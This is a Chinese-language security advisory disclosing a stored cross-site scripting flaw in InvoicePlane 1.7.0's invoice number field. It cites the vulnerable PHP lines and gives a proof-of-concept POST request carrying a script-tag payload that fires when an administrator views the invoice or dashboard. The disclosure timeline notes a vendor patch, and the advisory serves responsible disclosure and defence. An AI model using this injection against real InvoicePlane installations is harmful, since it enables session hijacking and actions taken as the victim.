漏洞类型: 通过发票编号字段存储的跨站脚本(XSS)
产品: InvoicePlane
受影响版本: 1.7.0(以及可能更早的版本)
严重性: 中危
CVSS 3.1 评分: 4.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79:网页生成过程中输入的不当中和
发现者: Leonidas Agathos
报告日期: 2026-01-31
发票表单中的 invoice_number 字段接受任意输入且未进行清理。该值被存储并在多个位置未编码地渲染:发票查看页面标题、发票编号输入字段以及仪表盘的最近发票小部件。当任何管理员查看受影响的发票或访问仪表盘时,该载荷即会触发。
受影响文件:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - 第 247 行
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - 第 494 行
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - 第 233 行
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
步骤 1 — 将载荷注入发票编号
在 /index.php/invoices/form/{id} 创建或编辑发票,并将发票编号设置为:
<script>alert("XSS in Invoices")</script>
请求:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

步骤 2 — 触发 XSS
导航至 /index.php/invoices/view/{id} 或 /index.php/dashboard。载荷在页面加载时触发。

该载荷会在查看受影响发票或访问仪表盘的任何管理员的浏览器中执行。这可能导致会话劫持(如果 cookie 未设置 HttpOnly)、CSRF 令牌窃取,以及以受害者身份执行操作。
| 日期 |
|---|
此漏洞是在独立安全研究过程中发现的。所有信息仅供教育、研究和防御目的使用,以帮助供应商和安全社区理解和修复该问题。严禁将本信息用于任何恶意用途。
| 事件 |
|---|
| 2026-01-30 | 发现漏洞 |
| 2026-01-31 | 开发概念验证 |
| 2026-01-31 | 通知供应商 |
| 2026-02-04 | 供应商确认 |
| 2026-02-04 | 发布补丁 |
| 2026-02-05 | 公开披露 |